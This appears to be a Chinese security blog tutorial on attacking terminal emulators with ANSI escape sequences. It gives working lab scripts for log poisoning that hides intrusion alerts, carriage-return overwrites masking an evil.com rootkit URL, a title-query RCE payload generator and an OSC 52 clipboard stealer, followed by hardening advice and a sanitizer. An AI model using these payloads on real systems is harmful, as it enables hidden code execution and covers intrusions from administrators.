引子:一条看不见的绳索

1978 年,DEC 发布了 VT100 终端。为了让这台"哑终端"能显示彩色文字、移动光标、清屏,他们设计了一套控制序列——以 ESC(0x1B)开头的字节序列。这就是 ANSI 转义序列的源头。近半个世纪后,现代终端模拟器依然忠实地解析这些序列。

ANSI 转义序列:终端的"神经系统"

在攻击之前,先搞清楚弹药长什么样。

终端模拟器是一个状态机。它逐字节读取输入流,遇到普通字符就渲染,遇到 0x1B(ESC)就进入转义序列解析模式。根据 ESC 后面跟的字符不同,序列被分为几大类:

类型

格式

功能示例

HEX 字节

CSI

ESC [ <params> <letter>

\e[2J清屏 / \e[6n查询光标位置

1b 5b 32 4a

/ 1b 5b 36 6e

OSC

ESC ] <n> ; <data> BEL

\e]2;title\a设置窗口标题

1b 5d 32 3b 74 69 74 6c 65 07

DCS

ESC P <data> ST

\eP$qm\e\\查询图形渲染状态

1b 50 24 71 6d 1b 5c

SGR

ESC [ <n> m

\e[31m红色 / \e[8m隐藏文字

1b 5b 33 31 6d

/ 1b 5b 38 6d

单字符

ESC <char>

\ec完全重置终端

1b 63

控制字符

单字节 0x00-0x1F

\r回车(光标移到行首)

0d

终端模拟器信任一切经过 PTY(伪终端)的数据。它不区分"这是 ls 命令的输出"和"这是攻击者注入的控制序列"。这种数据/控制平面的混合,正是 Web 安全中"混合信道"问题的终端版本。

谁在喂你的终端吃"毒药"?

攻击者不需要直接控制你的终端,只需要在数据流的任意上游注入字节。

01 / HTTP 日志注入

攻击者发送 GET /\x1b[2J HTTP/1.1,Apache/Nginx 将原始字节写入 access.log。管理员 cat 日志时,终端执行清屏。

02 / SSH 用户名注入

以 \x1b]2;evil\a 作为用户名尝试 SSH 登录。syslog 记录该用户名,管理员查看 auth.log 时触发标题篡改。

03 / 恶意文件名

创建名为 $'\e[31mVIRUS\e[0m' 的文件。任何 ls 该目录的用户都会看到红色的 VIRUS 文字——或更糟的效果。

04 / Kubernetes 终止日志

Pod 向 /dev/termination-log 写入转义序列。运维执行 kubectl describe pod 时,终端被劫持。

05 / Python HTTP Server

python3 -m http.server 会将请求路径原样打印到终端。访问 /?%1b[2J 即可注入。

06 / curl / wget 输出

恶意服务器在 HTTP 响应体中嵌入转义序列。curl http://evil.com 的输出直接送入终端渲染。

实验环境

安装 xterm(经典 X11 终端,漏洞最多的老前辈)

sudo apt update && sudo apt install -y xterm

创建实验工作目录

mkdir -p ~/ansi-lab && cd ~/ansi-lab

验证终端对转义序列的基本解析能力

printf '\e[31mRED\e[0m \e[32mGREEN\e[0m \e[34mBLUE\e[0m\n'

日志投毒:让管理员看到"一切正常"

攻击者在日志中注入清屏序列,管理员看到的输出完全被伪造。

原理

当终端遇到 \e[2J(清屏)和 \e[H(光标归位)时,之前所有显示内容都会消失。攻击者只需要在日志文件的关键位置注入这两个序列,然后在后面接上伪造的"正常"内容。管理员执行 cat 查看日志时,终端先渲染真实日志,然后执行清屏,最后显示伪造内容——真实的告警信息被彻底吞噬。
log_poison.sh

  #!/bin/bash
  
  LOG_FILE="/tmp/demo_app.log"
  
  # ------------------------------------------------------------------------------
  # 阶段一:写入真实日志(包含敏感的攻击痕迹)
  # ------------------------------------------------------------------------------
  echo "[2026-05-17 10:03:01] INFO: Application started on port 8080" > "$LOG_FILE"
  echo "[2026-05-17 10:03:02] INFO: Database connection established" >> "$LOG_FILE"
  echo "[2026-05-17 10:15:33] WARN: Failed login attempt from 10.0.0.99" >> "$LOG_FILE"
  echo "[2026-05-17 10:15:34] CRITICAL: Reverse shell established to 10.0.0.99:4444" >> "$LOG_FILE"
  echo "[2026-05-17 10:15:35] CRITICAL: /etc/shadow exfiltrated" >> "$LOG_FILE"
  
  # ------------------------------------------------------------------------------
  # 阶段二:注入 ANSI 控制序列(劫持终端 TTY 渲染)
  # ------------------------------------------------------------------------------
  # \e[2J -> 强制清除当前终端屏幕上的所有内容
  # \e[H  -> 将终端光标强制移回左上角 (0,0) 位置
  printf '\e[2J\e[H' >> "$LOG_FILE"
  
  # ------------------------------------------------------------------------------
  # 阶段三:写入伪造日志(视觉欺骗,制造“岁月静好”的假象)
  # ------------------------------------------------------------------------------
  echo "[2026-05-17 10:03:01] INFO: Application started on port 8080" >> "$LOG_FILE"
  echo "[2026-05-17 10:03:02] INFO: Database connection established" >> "$LOG_FILE"
  echo "[2026-05-17 10:15:33] INFO: Health check passed" >> "$LOG_FILE"
  echo "[2026-05-17 11:00:00] INFO: Scheduled backup completed" >> "$LOG_FILE"
  echo "[2026-05-17 12:30:00] INFO: 0 errors in last 24 hours" >> "$LOG_FILE"
  
  # ------------------------------------------------------------------------------
  # 阶段四:提示信息
  # ------------------------------------------------------------------------------
  echo "[*] Poisoned log successfully written to: $LOG_FILE"
  echo "[*] Run 'cat $LOG_FILE' in your terminal to see the injection effect."

赋权运行

效果验证

管理员视角

cat /tmp/demo_app.log

用 hexdump 揭开真相

hexdump -C /tmp/demo_app.log | grep -A1 "1b 5b"
cat -v /tmp/demo_app.log | head -8

^[[2J^[[H 就是被转义的清屏序列

它直接作用于应急响应的第一步——日志审查。当安全团队在排查入侵事件时,如果攻击者已经投毒了日志,整个取证过程的起点就是被污染的。更隐蔽的手法是不清屏,而是用 \e[8m(隐藏文字属性)让关键告警"消失",管理员即使上下翻滚也看不到。

回车覆写:在同一行里藏两个世界

利用 \r(回车)把光标拉回行首,用新文字覆盖旧文字。比清屏更隐蔽。

原理

\r(0x0D)不是转义序列,它是最普通的 ASCII 控制字符——回车。终端遇到它后,光标移动到当前行的第 0 列,但不换行。后续字符会覆盖已有内容。配合 \e[2K(擦除整行),可以做到完美替换。这个技巧有多可怕?它能绕过 less -R,因为 \r 不是转义序列,-R 的过滤规则根本不管它。

伪造下载源

cr_overwrite.sh

#!/bin/bash

echo "=== 场景 1:动态下载地址篡改 (URL Masking) ==="
# 1. 终端先输出恶意链接 
# 2. \r 让光标回到行首,\e[2K 瞬间擦除该行
# 3. 立即打印正常链接,使肉眼只能看到合法地址
printf 'Downloading http://evil.com/rootkit.sh\r\e[2KDownloading http://archive.ubuntu.com/release.tar.gz\n'
echo ""

echo "=== 场景 2:伪造哈希校验结果 (Checksum Spoofing) ==="
# 在自动化安装脚本中,即使 SHA256 校验失败,也利用转义序列在 1 毫秒内将其抹除
# 并在同一行强行刷新为 "OK",从而欺骗运维人员
printf 'sha256: MISMATCH - file is corrupted!\r\e[2Ksha256: OK - verified successfully\n'
echo ""

echo "=== 场景 3:进程监控视觉隐藏 (Process Hiding) ==="
# 模拟恶意脚本劫持 ps 或 top 的输出,在终端渲染时将挖矿进程(xmrig)
# 伪装成无害的系统内核线程(kworker)
echo "  PID TTY          TIME CMD"
echo " 1234 pts/0    00:00:00 bash"
printf ' 5678 pts/0    03:14:15 xmrig --coin=XMR\r\e[2K 5678 pts/0    00:00:01 [kworker/0:1]\n'
echo " 9012 pts/0    00:00:00 ps"

实际执行的是:

进HTTP 日志中的回车覆写

这种技巧在 Web 服务器日志中尤为危险。攻击者通过特制的 HTTP 请求,在 access.log 中植入覆写序列:

构造恶意 HTTP 请求

curl -s "http://target.local/login%0d%1b[2K192.168.1.1 - - [18/May/2026:12:00:00] \"GET /index.html HTTP/1.1\" 200"

回车覆写是最容易被忽略的攻击手法,因为 \r 不在任何"转义序列过滤器"的拦截名单上。

窗口标题回传 RCE:从数据注入到代码执行

这是 ANSI 注入中真正的"皇冠上的宝石"——通过设置窗口标题并查询它,实现远程命令执行。

攻击链

这个攻击之所以能实现 RCE,依赖于一个关键特性:某些终端支持窗口标题查询(\e[21t)。当终端收到这个序列时,它会将当前窗口标题作为键盘输入注入到输入缓冲区。攻击分两步:

生成投毒日志文件 title_rce.py

#!/usr/bin/env python3
import sys, os

ESC = "\x1b"
BEL = "\x07"
SET_TITLE   = f"{ESC}]2;"   
QUERY_TITLE = f"{ESC}[21t"  
HIDE_TEXT   = f"{ESC}[8m"   
RESET       = f"{ESC}[0m"   

def generate_payload(command):
    payload = HIDE_TEXT
    # 前导使用 ; 清理掉可能变成 l 的前缀杂质
    # 末尾使用 ; 后跟命令,并用 # 将终端自身追加的任何杂质(如 ?) 变成注释
    aligned_command = f"; {command} ; #"
    payload += f"{SET_TITLE}{aligned_command}{BEL}"
    payload += QUERY_TITLE
    payload += RESET
    return payload.encode()

log_path = "/tmp/poisoned.log"
command = "id > /tmp/title_rce_proof"

with open(log_path, "w") as f:
    f.write("[INFO] Service started successfully\n")
    f.buffer.write(generate_payload(command))
    f.write("\n[INFO] TLS handshake completed\n")

print(f"[*] Payload written to {log_path}")

在 xterm 中验证

建立实验沙箱环境 (显式开启 allowWindowOps 特性,模拟因配置不当或旧版终端未打补丁的脆弱环境。)

xterm -xrm 'XTerm*allowWindowOps: true' &

在独立终端中编译 Payload

进入新打开的 xterm 环境,执行 Python 脚本对底层介质实施数据植入。

python3 ~/ansi-lab/title_rce.py

查看 Payload 二进制结构

hexdump -C /tmp/poisoned.log

物理起始地址

核心原始字节(Hex)

对应的控制序列 / 文本

实验底层解析机制与行为

00000000

1b 5b 38 6d

\e[8m(SGR 8)

视觉消声屏障:强行开启终端“隐藏文本”模式。此后进入终端的所有攻击载荷在屏幕上均不作物理渲染,完美瞒过管理员肉眼。

00000004

1b 5d 32 3b

\e]2;(OSC 2)

控制流接管点:发起外壳窗口操作指令,通知终端将后续文本改写为当前窗口标题(Window Title)。

00000008

3b

;

前导截断符:关键的对齐修正。当 TTY 逆向吐回数据时,该分号会与现代终端自带的 ^[]l

杂质强行融合成无害的 l;

别名命令,阻止系统因找不到 lid

命令而报错。

00000009

20 69 64 20 3e...

id > /tmp/...

恶意核心载荷:静态存储于磁盘日志介质中,在 cat瞬间被刷入终端外壳的 GUI 标题栏。

00000024

3b 20 23

; #

后缀注释闭环:在真正的 id命令执行完毕后,分号 ;切断上下文,紧跟的 #号将终端在回显该行时自发追加的所有尾部杂质(如 ?

符号)全部降级为死代码注释,保障 Bash 语法树不发生崩溃。

00000027

07

BEL

OSC 终止符:宣告窗口标题改写命令物理结束。

00000028

1b 5b 32 31 74

\e[21t(CSI 21t)

RCE 物理触发泵:全场最核心的取证标识。 发起底层标题查询请求,逼迫终端将刚才保存在标题栏中、精心对齐的干净载荷逆向灌入当前的键盘输入缓冲区(stdin)。

0000002d

1b 5b 30 6d

\e[0m (SGR 0)

终端显示重置:及时解除第一步的隐藏状态,允许后续的常规业务日志正常打印。

触发漏洞(cat 投毒日志)

cat /tmp/poisoned.log

这行字表明,当管理员执行 cat /tmp/poisoned.log 时,底层的流对抗发生了以下几件事:

  1. 杂质成功拆分(语法树切断): 前缀杂质 ^[] 和字母 l 被组合成了命令 l。在 Linux 系统的 Kali 环境下,l 是一个系统默认内置的合法别名(通常是 ls -CF 或 ls -g 的 Alias)。
  2. 命令顺利越界执行: 因为使用了分号 ;,系统在执行完前面的 l(在终端中输出了底下的 cr_overwrite.sh* log_poison.sh* title_rce.py 目录文件列表)之后,毫无阻碍地顺着分号继续执行了真正的黑客命令:

id > /tmp/title_rce_proof

验证 RCE 是否成功

cat /tmp/title_rce_proof

成功实现 RCE。

DECRQSS 回显注入:终端的"回声洞"

比标题注入更强大——某些终端会原封不动地将你发送的数据回显到输入流。

什么是 DECRQSS?

DECRQSS(Device Control Request Status String)的设计初衷是让应用程序查询终端的当前设置——比如"当前的字体渲染属性是什么?"请求格式为 \eP$q参数\e\\,终端应当返回类似 \eP1$r0m\e\\ 的响应。

问题在于:部分终端在构造响应时,将请求中的内容原样嵌入了响应中。如果攻击者在请求的"参数"部分塞入换行符和 Shell 命令,终端会把这些内容注入到输入缓冲区,Shell 就会执行它们。

​

这个最终没有试验成功,但早有先例,可以参考以下案例:

CVE-2022-45063

2022 年,安全研究员发现 xterm 的 OSC 50(字体查询)响应中包含 BEL 字符(0x07)。在 Zsh 的 vi-mode 下,Ctrl+G(即 BEL)绑定到 list-expand 函数——该函数会展开并执行 $(command) 替换。攻击链变成:

OSC 52 剪贴板窃取:读取你 Ctrl+C 的秘密

终端不仅能设置剪贴板,某些配置下还能读取它。

OSC 52 协议

OSC 52 允许应用程序通过转义序列操作系统剪贴板。写入操作被广泛支持(远程 SSH 会话中复制文本就靠它),但读取操作就是安全噩梦了:

操作

序列

说明

设置剪贴板

\e]52;c;base64_data\a

将 base64 编码的内容写入剪贴板。大多数终端支持。

读取剪贴板

\e]52;c;?\a

请求终端返回剪贴板内容(base64 编码)。默认启用的终端较少。

窃取剪贴板内容

clipboard_steal.py

#!/usr/bin/env python3

import sys
import os
import select
import tty
import termios
import base64

def steal_clipboard() -> bytes:
    """
    切换终端到 Raw 模式,发送 OSC 52 剪贴板查询请求并捕获 TTY 反弹数据
    """
    fd = sys.stdin.fileno()
    
    # 【核心预置】:备份当前 TTY 终端配置,以便后续平滑恢复
    old_settings = termios.tcgetattr(fd)
    
    try:
        # 切换当前输入流到原始(Raw)模式,阻断 Shell 的前置解析,允许捕获裸控制字节
        tty.setraw(fd)
        
        # 向标准输出流打印 OSC 52 查询字符:问号 "?" 代表向本地客户端发起 Read 申请
        os.write(sys.stdout.fileno(), b"\x1b]52;c;?\x07")
        
        # 开启异步流读取,设置 2 秒硬超时边界
        response = b""
        found_start = False
        
        while select.select([fd], [], [], 2.0)[0]:
            char = os.read(fd, 1)
            response += char
            
            # 检测到终端流中包含 OSC 52 响应头部
            if b"]52;" in response:
                found_start = True
                
            # 闭环状态机边界:捕获到法定的 OSC 终止符 (BEL 或 ST) 则跳出
            if found_start and char == b"\x07":
                break
            if found_start and response.endswith(b"\x1b\\"):
                break
                
    finally:
        # 【反控制释放】:无论捕获结果如何,必须强行恢复 TTY 配置,否则当前终端界面会卡死或乱码
        termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
        
    return response

def parse_response(response: bytes) -> str:
    """
    解析终端吐回的标准 OSC 52 响应,剥离状态控制符并解码 Base64 数据流
    标准响应格式:\x1b]52;c;<Base64_Content>\x07
    """
    try:
        # 准确定位第二个分号之后的数据起始点
        start = response.find(b";", response.find(b";") + 1) + 1
        
        # 定位尾部终止符
        end = response.find(b"\x07")
        if end == -1:
            end = response.find(b"\x1b", start)
            
        b64_data = response[start:end]
        
        # 将流还原为纯文本
        return base64.b64decode(b64_data).decode("utf-8", errors="replace")
    except Exception as e:
        return f"[数据解析异常: {e}]"

if __name__ == "__main__":
    print("[*] 正在通过标准输出发送 OSC 52 剪贴板查询序列...", file=sys.stderr)
    
    resp = steal_clipboard()
    
    if resp:
        content = parse_response(resp)
        print(f"\n[+] 成功拦截到宿主机剪贴板内容: {content}", file=sys.stderr)
    else:
        print("\n[-] 终端无任何响应。拦截失败:当前 TTY 已禁用 OSC 52 读取权限。", file=sys.stderr)

启动显式允许剪贴板读取的 xterm 沙箱

xterm -xrm 'XTerm*disallowedWindowOps: none' &

在宿主机(本地系统)的剪贴板中写入测试数据

在 xterm 窗口中触发 PoC

如何让终端不再叛变

绝对禁止直接用裸 cat 查看可疑文件,会触发终端恶意转义序列!

# 1. 控制字符可视化(最常用)
cat -v suspicious.log

# 2. less 默认安全模式(推荐)
less suspicious.log

# 3. 十六进制取证分析(彻底排查)
hexdump -C suspicious.log | less

# 4. 过滤所有ESC转义字节
sed 's/\x1b//g' suspicious.log | less

# 5. less 609+ 版本专用:-U 显示原始控制字符
less -U suspicious.log

永久禁用终端危险操作,阻断转义序列攻击。

1. xterm 终端加固

配置文件:~/.Xresources

# 禁用所有窗口操作
XTerm*allowWindowOps: false
XTerm*disallowedWindowOps: 20,21,SetXprop

2. tmux 终端加固

配置文件:~/.tmux.conf

# 禁用转义序列透传
set -g allow-passthrough off

3. 管道数据清洗

#!/usr/bin/env python3
"""
终端转义序列清洗工具
用法:cat dirty.log | python3 sanitize.py > clean.log
"""
import re
import sys

# 匹配所有 ANSI/VT 转义序列正则
ANSI_ESCAPE_RE = re.compile(
    r"""
    \x1b              # ESC 字符(0x1B)
    (?:
      \[              # CSI: ESC [
      [0-9;]*         # 参数字节
      [A-Za-z]        # 最终字节
      |
      \]              # OSC: ESC ]
      [^\x07]*        # 数据(直到 BEL)
      \x07            # BEL 终止符
      |
      \]              # OSC: ESC ] (ST 终止)
      .*?             # 数据
      \x1b\\          # ST 终止符(ESC \)
      |
      P               # DCS: ESC P
      [^\x1b]*        # 数据
      \x1b\\          # ST 终止符
      |
      [()][0-9A-B]    # 字符集切换
      |
      [#][0-9]        # DEC 行属性
      |
      .               # 两字符转义(如 \ec)
    )
    """, re.VERBOSE
)

# 匹配危险单字节控制字符(保留 \n 和 \t)
CONTROL_CHAR_RE = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f\r]")

def sanitize(text: str) -> str:
    """移除所有 ANSI 转义序列和危险控制字符"""
    text = ANSI_ESCAPE_RE.sub("", text)
    text = CONTROL_CHAR_RE.sub("", text)
    return text

if __name__ == "__main__":
    # 管道模式使用
    for line in sys.stdin:
        sys.stdout.write(sanitize(line))

信任的代价

终端模拟器之所以容易被攻击,根本原因在于一个 1978 年做出的设计决策:数据和控制指令共享同一个字节流。这个决策在"哑终端连接大型机"的年代是合理的——当时不存在"不可信输入"的概念,因为只有操作员和被信任的程序才能向终端输出内容。

近半个世纪过去了,终端面对的输入来源变成了 Web 服务器日志、Git 仓库、容器输出、SSH 隧道、CI/CD 管道——但终端仍然以同样的信任级别处理每一个字节。这种"先天性信任"正是攻击面持续存在的根源。

下次你打开终端准备 cat 一个日志文件时,停一秒,想想:这个文件是谁写的?它里面的每一个字节,你的终端都会盲目执行。

也许是时候给你的 .bashrc 加上这一行了:

alias cat='cat -v'

​

本文所有实验均在隔离虚拟机环境中完成,仅供安全研究与教育目的